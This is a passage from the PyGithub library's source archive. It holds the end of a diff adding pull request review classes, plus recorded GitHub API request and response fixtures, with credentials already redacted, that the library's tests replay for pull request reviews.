\"/reviews\",\n+ None,\n+ headers={'Accept': 'application/vnd.github.black-cat-preview+json'}\n+ )\n+\n+ def get_review_requests(self):\n+ \"\"\"\n+ :calls: `GET /repos/:owner/:repo/pulls/:number/requested_reviewers `_\n+ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.InspectionReviewers.InspectionReviewers`\n+ \"\"\"\n+ return github.PaginatedList.PaginatedList(\n+ github.PullRequestReviewerRequests.PullRequestReviewerRequests,\n+ self._requester,\n+ self.url + \"/requested_reviewers\",\n+ None,\n+ headers={'Accept': 'application/vnd.github.black-cat-preview+json'}\n+ )\n+ \n def is_merged(self):\n \"\"\"\n :calls: `GET /repos/:owner/:repo/pulls/:number/merge `_"},{"sha":"1c2189ee830731e17e596d8d6702972e6226e207","filename":"github/PullRequestReview.py","status":"added","additions":121,"deletions":0,"changes":121,"blob_url":"https://github.com/PyGithub/PyGithub/blob/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequestReview.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequestReview.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github/PullRequestReview.py?ref=2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","patch":"@@ -0,0 +1,121 @@\n+# -*- coding: utf-8 -*-\n+\n+# ########################## Copyrights and license ############################\n+# #\n+# Copyright 2012 Vincent Jacques #\n+# Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n+# Copyright 2013 Michael Stead #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. #\n+# http://pygithub.github.io/PyGithub/v1/index.html #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+# ##############################################################################\n+\n+import github.GithubObject\n+\n+import github.NamedUser\n+\n+\n+class PullRequestReview(github.GithubObject.CompletableGithubObject):\n+ \"\"\"\n+ This class represents Pull Request Reviews as returned for example by https://developer.github.com/v3/pulls/reviews/\n+ \"\"\"\n+\n+ def __repr__(self):\n+ return self.get__repr__({\"id\": self._id.value, \"user\": self._user.value})\n+\n+ @property\n+ def id(self):\n+ \"\"\"\n+ :type: integer\n+ \"\"\"\n+ self._completeIfNotSet(self._id)\n+ return self._id.value\n+\n+ @property\n+ def user(self):\n+ \"\"\"\n+ :type: :class:`github.NamedUser.NamedUser`\n+ \"\"\"\n+ self._completeIfNotSet(self._user)\n+ return self._user.value\n+\n+ @property\n+ def body(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._body)\n+ return self._body.value\n+\n+ @property\n+ def commit_id(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._commit_id)\n+ return self._commit_id.value\n+\n+ @property\n+ def state(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._state)\n+ return self._state.value\n+\n+ @property\n+ def html_url(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._html_url)\n+ return self._html_url.value\n+\n+ @property\n+ def pull_request_url(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._pull_request_url)\n+ return self._pull_request_url.value\n+\n+ def _initAttributes(self):\n+ self._id = github.GithubObject.NotSet\n+ self._user = github.GithubObject.NotSet\n+ self._body = github.GithubObject.NotSet\n+ self._commit_id = github.GithubObject.NotSet\n+ self._state = github.GithubObject.NotSet\n+ self._html_url = github.GithubObject.NotSet\n+ self._pull_request_url = github.GithubObject.NotSet\n+\n+ def _useAttributes(self, attributes):\n+ if \"id\" in attributes: # pragma no branch\n+ self._id = self._makeIntAttribute(attributes[\"id\"])\n+ if \"user\" in attributes: # pragma no branch\n+ self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes[\"user\"])\n+ if \"body\" in attributes: # pragma no branch\n+ self._body = self._makeStringAttribute(attributes[\"body\"])\n+ if \"commit_id\" in attributes: # pragma no branch\n+ self._commit_id = self._makeStringAttribute(attributes[\"commit_id\"])\n+ if \"state\" in attributes: # pragma no branch\n+ self._state = self._makeStringAttribute(attributes[\"state\"])\n+ if \"html_url\" in attributes: # pragma no branch\n+ self._html_url = self._makeStringAttribute(attributes[\"html_url\"])\n+ if \"pull_request_url\" in attributes: # pragma no branch\n+ self._pull_request_url = self._makeStringAttribute(attributes[\"pull_request_url\"])"},{"sha":"8daf5753a10c9703b174d964e39863cf518ed5f4","filename":"github/PullRequestReviewerRequests.py","status":"added","additions":68,"deletions":0,"changes":68,"blob_url":"https://github.com/PyGithub/PyGithub/blob/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequestReviewerRequests.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequestReviewerRequests.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github/PullRequestReviewerRequests.py?ref=2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","patch":"@@ -0,0 +1,68 @@\n+# -*- coding: utf-8 -*-\n+\n+# ########################## Copyrights and license ############################\n+# #\n+# Copyright 2012 Vincent Jacques #\n+# Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n+# Copyright 2013 Michael Stead #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. #\n+# http://pygithub.github.io/PyGithub/v1/index.html #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+# ##############################################################################\n+\n+import github.GithubObject\n+\n+import github.NamedUser\n+\n+\n+class PullRequestReviewerRequests(github.GithubObject.CompletableGithubObject):\n+ \"\"\"\n+ This class represents Pull Request Reviewer Requests as returned for example by https://developer.github.com/v3/pulls/review_requests/\n+ \"\"\"\n+\n+ def __repr__(self):\n+ return self.get__repr__({\"id\": self._id.value, \"login\": self._login.value})\n+\n+ @property\n+ def login(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ self._completeIfNotSet(self._login)\n+ return self._login.value\n+\n+ @property\n+ def id(self):\n+ \"\"\"\n+ :type: integer\n+ \"\"\"\n+ self._completeIfNotSet(self._id)\n+ return self._id.value\n+\n+ def _initAttributes(self):\n+ self._login = github.GithubObject.NotSet\n+ self._id = github.GithubObject.NotSet\n+# self._url = github.GithubObject.NotSet\n+# self._html_url = github.GithubObject.NotSet\n+\n+ def _useAttributes(self, attributes):\n+ if \"login\" in attributes: # pragma no branch\n+ self._login = self._makeStringAttribute(attributes[\"login\"])\n+ if \"id\" in attributes: # pragma no branch\n+ self._id = self._makeIntAttribute(attributes[\"id\"])"}]} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/538/reviews {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"commit_id": "2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52", "body": "Some review created by PyGithub", "event": "COMMENT", "comments": []} 200 [('content-length', '1396'), ('x-runtime-rack', '0.272465'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"a49b6e67f0f63b026494e1e690811725"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4547'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDC:9B6A:527B69:62442F:5AB118D2'), ('date', 'Tue, 20 Mar 2018 14:21:07 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":105368184,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:21:07Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/538/reviews/28482091 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"d9b71d9dcbbca4b597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 20 Mar 2018 14:21:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview.testAttributes.txt0000644000175100001660000002064214756101563025417 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/538/reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '7095'), ('x-runtime-rack', '0.201492'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"61fe90332e025151d7eab5b709ae744f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4544'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDE:9B6D:C86EB2:EADBEC:5AB118D5'), ('date', 'Tue, 20 Mar 2018 14:21:10 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] [{"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"},{"id":104584375,"user":{"login":"electrofelix","id":912324,"avatar_url":"https://avatars1.githubusercontent.com/u/912324?v=4","gravatar_id":"","url":"https://api.github.com/users/electrofelix","html_url":"https://github.com/electrofelix","followers_url":"https://api.github.com/users/electrofelix/followers","following_url":"https://api.github.com/users/electrofelix/following{/other_user}","gists_url":"https://api.github.com/users/electrofelix/gists{/gist_id}","starred_url":"https://api.github.com/users/electrofelix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/electrofelix/subscriptions","organizations_url":"https://api.github.com/users/electrofelix/orgs","repos_url":"https://api.github.com/users/electrofelix/repos","events_url":"https://api.github.com/users/electrofelix/events{/privacy}","received_events_url":"https://api.github.com/users/electrofelix/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-104584375","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"CONTRIBUTOR","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-104584375"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-16T14:23:47Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105360043,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105360043","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105360043"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:03:38Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105365629,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105365629","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105365629"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:15:45Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105368184,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:21:07Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview.testDismiss.txt0000644000175100001660000000570714756101563024711 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/pulls/538/reviews/28482091/dismissals {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"message": "with prejudice"} 200 [('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9b71d9dcbbfefb597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 23 Feb 2018 23:42:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"DISMISSED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview.testEdit.txt0000644000175100001660000000573714756101563024166 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/pulls/538/reviews/28482091 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"body": "Comment edited by PyGithub"} 200 [('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9b71d9dcbbfefb597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 23 Feb 2018 23:42:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"Comment edited by PyGithub","state":"DISMISSED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview1856.setUp.txt0000644000175100001660000005153514756101563024022 0ustar00runnerdockerhttps GET api.github.com None /repos/CS481-Team-Pumpkin/PyGithub/pulls/4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8639f2457cf97f5885ced460b20f8f7d17d5c09930e448de42e75b78426cd8e8"'), ('Last-Modified', 'Thu, 08 Apr 2021 14:23:05 GMT'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '7'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB48:109EA:37F217:38E505:606F12C0')] 